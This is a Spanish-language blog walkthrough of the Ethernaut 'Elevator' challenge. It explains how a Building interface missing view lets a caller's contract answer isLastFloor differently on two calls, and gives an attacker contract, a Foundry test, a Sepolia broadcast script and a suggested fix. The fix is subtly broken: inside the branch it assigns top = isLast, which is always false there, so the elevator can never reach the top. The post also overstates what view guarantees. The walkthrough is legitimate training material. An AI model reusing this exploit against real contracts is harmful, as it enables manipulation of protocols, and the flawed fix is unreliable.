← Volver al blog
Mike B. - SecLat Security25 de septiembre de 2026

Ethernaut Level 11 Walkthrough: Rompiendo la Confianza en Funciones "View" en Solidity

En este artículo analizaremos y resolveremos el reto número 11 de Ethernaut: **Elevator**.

Tiempo de lectura: ~10 min

Este nivel parece seguro por diseño. Elevator llama dos veces a un contrato externo, dentro de la misma función, para preguntar si un piso es el último. Y usa el resultado de esa segunda llamada para decidir si activa una bandera. El supuesto detrás de ese diseño es que llamar a la misma función dos veces, con el mismo argumento, devuelve la misma respuesta. Nada en Solidity garantiza eso. La interfaz nunca declara la función como view, así que el compilador nunca lo verifica, y quien llama no tiene forma de saber que la función que acaba de invocar puede mentirle dos veces, de forma distinta, a propósito.

Además de resolver el reto, también entenderemos:

  • Por qué una interfaz que omite view y pure es un límite de confianza silencioso
  • Cómo explotar una llamada externa manipulada con solo un poco de estado
  • Por qué "el compilador lo detectaría" no aplica a llamadas externas
  • Cómo defenderse de callbacks no confiables con el patrón checks-effects-interactions y la aplicación de view

Descripción del Reto

El contrato Elevator expone una única función, goTo, que recibe un número de piso y le pregunta a quien lo llama (tratado como un Building) si ese piso es el último. Si la respuesta es false, actualiza su propio estado floor y top usando una segunda llamada a esa misma función.

El objetivo del reto es:

Llegar al último piso del elevador, es decir, que top sea true.

Clasificación de la Vulnerabilidad

CategoríaValor
Vulnerabilidad:Llamada externa no confiable reutilizada para dos decisiones contradictorias
Causa Raíz:La interfaz Building omite view, así que el compilador nunca garantiza que isLastFloor sea determinista ni consistente entre llamadas
Impacto:Un contrato controlado por el atacante puede forzar a Elevator hacia un estado que su propia lógica buscaba evitar
Severidad:Media para este ejercicio, Crítica en protocolos reales donde ese estado activado protege fondos o privilegios
Tipo de Ataque:Llamada externa inconsistente / abuso de callback con estado

Análisis del Contrato Vulnerable

Este es el contrato vulnerable utilizado en el reto:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Building {
    function isLastFloor(uint256) external returns (bool);
}

contract Elevator {
    bool public top;
    uint256 public floor;

    function goTo(uint256 _floor) public {
        Building building = Building(msg.sender);

        if (!building.isLastFloor(_floor)) {
            floor = _floor;
            top = building.isLastFloor(floor);
        }
    }
}

Causa Raíz de la Vulnerabilidad

Elevator trata a msg.sender como si fuera un Building bien portado. Nunca lo despliega ni lo controla. Cualquiera puede llamar a goTo, y msg.sender se convierte en cualquier contrato que quien llama haya elegido escribir:

Building building = Building(msg.sender);

if (!building.isLastFloor(_floor)) {
    floor = _floor;
    top = building.isLastFloor(floor);
}

La interfaz Building declara isLastFloor sin view:

function isLastFloor(uint256) external returns (bool);

Esa palabra clave faltante es la vulnerabilidad completa. Una función view no puede modificar estado, y Solidity lo hace cumplir en tiempo de compilación para funciones declaradas view dentro del propio código del contrato que llama. Pero Elevator nunca declara isLastFloor como view en la interfaz que usa para llamarla, así que el compilador no impone ninguna restricción sobre lo que hace el contrato externo dentro de esa función, incluyendo leer y escribir su propio storage entre las dos llamadas que hace goTo.

Sin repetir siempre la misma frase de entrada:

El bug no es llamar a una función externa. Es llamarla dos veces y confiar en que la segunda respuesta coincida con la primera, cuando lo que se llama es código que no controlas.

Entendiendo la Brecha de Confianza en "View"

  1. goTo llama a building.isLastFloor(_floor) una vez, para decidir si entra al bloque if.
  2. Si esa primera llamada devuelve false, la ejecución entra al bloque. floor se actualiza.
  3. goTo llama a building.isLastFloor(floor) una segunda vez, con el mismo argumento numérico, y usa este segundo resultado para fijar top.
  4. Nada obliga a que las dos llamadas coincidan. El isLastFloor de un atacante puede devolver false en la primera invocación y true en la segunda, con nada más que un bool que se invierte cada vez que la función se ejecuta.
  5. top termina en true, aunque el contrato del atacante respondió exactamente la misma pregunta de dos formas distintas en dos llamadas consecutivas dentro de la misma transacción.
Elevator.goTo(1) llamado por ElevatorClimber
  |
  |-- llamada 1: isLastFloor(1) -> ElevatorClimber invierte su estado, devuelve false
  |     Elevator: !false == true -> entra al bloque if
  |
  |-- floor = 1
  |
  |-- llamada 2: isLastFloor(1) -> ElevatorClimber invierte su estado otra vez, devuelve true
  |     Elevator: top = true
  v
top == true, objetivo alcanzado

Esta clase de bug, una llamada externa cuya respuesta se asume idempotente sin verificarlo, aparece en protocolos reales como oráculos de precio consultados dos veces en una misma función, verificaciones de "es este NFT del dueño correcto" reutilizadas a lo largo de un flujo de varios pasos, o chequeos de allowance/balance que asumen que un contrato de token no puede cambiar su propia respuesta a mitad de la llamada. El mecanismo es siempre el mismo: no hay ninguna garantía on-chain de que una segunda llamada a la misma función, con el mismo argumento, devuelva el mismo resultado.

¿Por Qué Confiar en un bool Externo es Peligroso?

  • Las llamadas external entregan el control a código arbitrario. En cuanto Elevator llama a Building(msg.sender), la ejecución pasa a código que el autor de Elevator nunca escribió y no puede inspeccionar en tiempo de ejecución.
  • view es una promesa que el compilador puede hacer cumplir, pero solo si se declara. Si Building.isLastFloor hubiera estado tipada como view en la interfaz que importa Elevator, el compilador de Solidity habría rechazado cualquier implementación que escriba en storage, cerrando exactamente este ataque. Omitir view en una interfaz usada para una decisión de confianza es un error de diseño, no un detalle de estilo.
  • Llamar dos veces a la misma función externa y esperar que coincida es un supuesto oculto. Si el resultado de una función debe mantenerse consistente entre llamadas dentro de una misma transacción, guarda el primer resultado y reutilízalo en vez de volver a llamar.
  • Los guards de reentrancy no ayudan aquí. No hay ninguna llamada reentrante hacia Elevator mismo; el exploit vive por completo en lo que devuelve el contrato externo, algo que un guard de reentrancy en Elevator no detectaría.

Estrategia del Ataque

Sabemos que:

  1. goTo llama a msg.sender.isLastFloor(_floor) dos veces, y solo el resultado de la segunda llamada decide top.
  2. La primera llamada debe devolver false para que la ejecución llegue siquiera a la segunda llamada.
  3. La segunda llamada debe devolver true para que top quede activado.
  4. Nada impide que msg.sender sea un contrato que nosotros mismos escribamos, uno que lleve su propio estado y responda distinto en cada llamada.

Nuestra estrategia:

  1. Desplegar un contrato que implemente isLastFloor, invirtiendo un bool interno en cada llamada.
  2. Fijar el estado inicial para que la primera llamada devuelva false y la segunda devuelva true.
  3. Llamar a Elevator.goTo(_floor) desde nuestro contrato, para que msg.sender dentro de Elevator sea nuestro contrato.
  4. top se activa después de la segunda llamada, cumpliendo el objetivo del nivel.

Contrato Atacante

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Elevator {
    function goTo(uint256 _floor) external;
}

contract ElevatorClimber {
    address public owner;
    bool private toggle = true;

    constructor() {
        owner = msg.sender;
    }

    /// @notice Elevator.goTo() llama a nuestro isLastFloor() dos veces; la
    /// interfaz Building omite `view`, así que invertimos el estado entre
    /// llamadas: false en la primera para pasar el guard, true en la segunda
    /// para activar top.
    function isLastFloor(uint256) external returns (bool) {
        toggle = !toggle;
        return toggle;
    }

    function attack(address _target) external {
        require(msg.sender == owner, "Not owner");
        Elevator(_target).goTo(1);
    }
}

toggle arranca en true, así que la primera inversión (!true) devuelve false, y la segunda inversión (!false) devuelve true. Esa secuencia de dos llamadas es todo el exploit.

Cómo Funciona el Exploit

Primero, desplegamos ElevatorClimber. Su estado toggle arranca en true, pero todavía nadie ha llamado a isLastFloor.

Luego, llamamos a attack, que llama a Elevator.goTo(1). Dentro de Elevator, msg.sender ahora es ElevatorClimber.

Después, Elevator hace su primera llamada a isLastFloor(1). ElevatorClimber invierte toggle de true a false y devuelve false. Elevator evalúa !false, que es true, y entra al bloque if.

floor se fija en 1. Elevator llama inmediatamente a isLastFloor(floor) una segunda vez, dentro de la misma transacción. ElevatorClimber invierte toggle otra vez, de false a true, y esta vez devuelve true.

Finalmente, Elevator asigna top = true. La condición de victoria del nivel, elevator.top(), queda satisfecha.

Validando el Exploit con Foundry

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import {Utils} from "test/utils/Utils.sol";
import {Elevator} from "src/levels/Elevator.sol";
import {ElevatorFactory} from "src/levels/ElevatorFactory.sol";
import {ElevatorClimber} from "test/Solutions/Attacks/ElevatorClimber.sol";
import {Level} from "src/levels/base/Level.sol";
import {Ethernaut} from "src/Ethernaut.sol";

contract TestElevator_L11 is Test, Utils {
    Ethernaut ethernaut;
    Elevator instance;

    address payable owner;
    address payable player;

    function setUp() public {
        address payable[] memory users = createUsers(2);

        owner = users[0];
        vm.label(owner, "Owner");

        player = users[1];
        vm.label(player, "Player");

        vm.startPrank(owner);
        ethernaut = getEthernautWithStatsProxy(owner);
        ElevatorFactory factory = new ElevatorFactory();
        ethernaut.registerLevel(Level(address(factory)));
        vm.stopPrank();

        vm.startPrank(player);
        instance = Elevator(payable(createLevelInstance(ethernaut, Level(address(factory)), 0)));
        vm.stopPrank();
    }

    function testInit() public {
        vm.startPrank(player);
        assertFalse(instance.top());
        assertFalse(submitLevelInstance(ethernaut, address(instance)));
        vm.stopPrank();
    }

    function testSolve() public {
        vm.startPrank(player);

        ElevatorClimber climber = new ElevatorClimber();
        climber.attack(address(instance));

        assertTrue(instance.top());
        assertTrue(submitLevelInstance(ethernaut, address(instance)));
        vm.stopPrank();
    }
}

Ejecutando el Test

source .env
forge test --match-path test/Solutions/Elevator_L11.t.sol --match-test testSolve --fork-url $SEPOLIA_RPC -vvv

Asegúrate de que .env defina SEPOLIA_RPC y, para el script en vivo de abajo, PK. Nunca subas .env a control de versiones.

Resolviendo el Nivel en Sepolia

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import {Script} from "forge-std/Script.sol";
import {ElevatorClimber} from "test/Solutions/Attacks/ElevatorClimber.sol";
import {console} from "forge-std/console.sol";

contract ElevatorScript is Script {
    address public target;
    ElevatorClimber public climber;

    function setUp() public {
        target = payable("0xYourEthernautInstance");
    }

    function run() public {
        uint256 pk = vm.envUint("PK"); // Private Key desde .env para firmar la Tx
        vm.startBroadcast(pk);

        climber = new ElevatorClimber();
        climber.attack(target);

        console.log("Climber contract:", address(climber));

        vm.stopBroadcast();
    }
}

Ejecutando el Script

source .env
forge script scripts/Elevator.s.sol --rpc-url $SEPOLIA_RPC

Una vez que el dry run compile sin errores y hayas reemplazado 0xYourEthernautInstance con la dirección real de tu instancia, envíalo a la red:

forge script scripts/Elevator.s.sol --rpc-url $SEPOLIA_RPC --broadcast --interactives 1 -vvv

Cómo Prevenir Llamadas Externas Inconsistentes

El patrón vulnerable es llamar más de una vez a una función externa no confiable y confiar en que los resultados coincidan:

// Vulnerable: dos llamadas a la misma función no confiable, sin garantía de consistencia
interface Building {
    function isLastFloor(uint256) external returns (bool);
}

function goTo(uint256 _floor) public {
    Building building = Building(msg.sender);
    if (!building.isLastFloor(_floor)) {
        floor = _floor;
        top = building.isLastFloor(floor);
    }
}

La solución es declarar la interfaz como view cuando la lógica asume que la función no tiene estado, para que el compilador rechace cualquier implementación que escriba en storage, y llamar a la función externa una sola vez, reutilizando el resultado en vez de volver a llamarla:

// Corregido: view aplicado por el compilador, una sola llamada, resultado reutilizado
interface Building {
    function isLastFloor(uint256) external view returns (bool);
}

function goTo(uint256 _floor) public {
    Building building = Building(msg.sender);
    bool isLast = building.isLastFloor(_floor);

    if (!isLast) {
        floor = _floor;
        top = isLast;
    }
}

view por sí solo no impide que un contrato malicioso mienta una vez, pero sí le impide mentir de forma distinta dos veces dentro de la misma llamada, que es exactamente la primitiva que explota este nivel. Para decisiones que deben ser confiables sin importar quién implemente el callback, lo correcto es no depender en absoluto de la honestidad de un contrato externo: usa un valor que el propio contrato que llama haya calculado, o una implementación en whitelist y auditada en lugar de un msg.sender arbitrario.

Lecciones Aprendidas

  • Una interfaz sin view ni pure no es solo una elección de estilo. Es el compilador renunciando a hacer cumplir una garantía de consistencia de la que tu lógica puede estar dependiendo.
  • Llamar dos veces a la misma función externa dentro de una transacción y confiar en que las respuestas coincidan es un supuesto, no un hecho, siempre que el destinatario no sea código que tú controles.
  • msg.sender nunca está garantizado a ser un contrato "bien portado". Cualquier código puede llamar a tu función y fingir ser la interfaz que esperas.
  • Los guards de reentrancy protegen contra llamadas reentrantes hacia tu propio contrato; no hacen nada contra un destinatario que simplemente devuelve valores distintos en llamadas separadas.
  • Los auditores deben marcar cada llamada externa cuyo resultado alimente una rama relevante para la seguridad, especialmente cuando la misma llamada ocurre más de una vez por transacción.

Conclusión

El nivel 11 de Ethernaut muestra cómo una sola palabra clave view faltante convierte una interfaz en un agujero de confianza. Elevator nunca sospechó que un booleano, evaluado dos veces con el mismo argumento, pudiera decir dos verdades distintas, porque nada en Solidity obligaba a esa función a comportarse. El bug parece pequeño aislado, pero el patrón, una respuesta externa que se asume estable entre llamadas, es exactamente lo que rompe integraciones de oráculos de precio, verificaciones de propiedad, y flujos de aprobación de varios pasos en protocolos en producción.

Cualquier contrato que llame a msg.sender o a otra dirección provista externamente, y luego use ese resultado para condicionar cambios de estado, debe tratar esa llamada como adversarial por defecto. Este walkthrough cubrió:

  • Por qué omitir view en una interfaz elimina una garantía que el compilador podría hacer cumplir
  • Cómo explotar dos respuestas inconsistentes de la misma llamada externa
  • Por qué los guards de reentrancy no cubren esta clase de bug
  • Cómo defenderse con view aplicado por el compilador y resultados de una sola llamada, reutilizados

Si estás construyendo o revisando contratos que confían en que las llamadas externas respondan de forma consistente, esto es exactamente el tipo de suposición que ponemos a prueba en una auditoría profesional.


Encuentra más walkthroughs de Ethernaut en el blog de SECLAT.

¿Necesitas una auditoría de seguridad para tus smart contracts? Habla con SECLAT.

SECLAT - Security & Audit

SECLAT - Expertos en seguridad blockchain y auditorías de contratos inteligentes.

Estadísticas Clave

200+
Contratos Auditados
0
Incidentes Críticos
20+
Clientes Satisfechos
$100M+
Protegidos

Contactanos

Si buscas una auditoría de seguridad o una consulta, Contactanos.

© 2026 SECLAT Security. Todos los derechos reservados.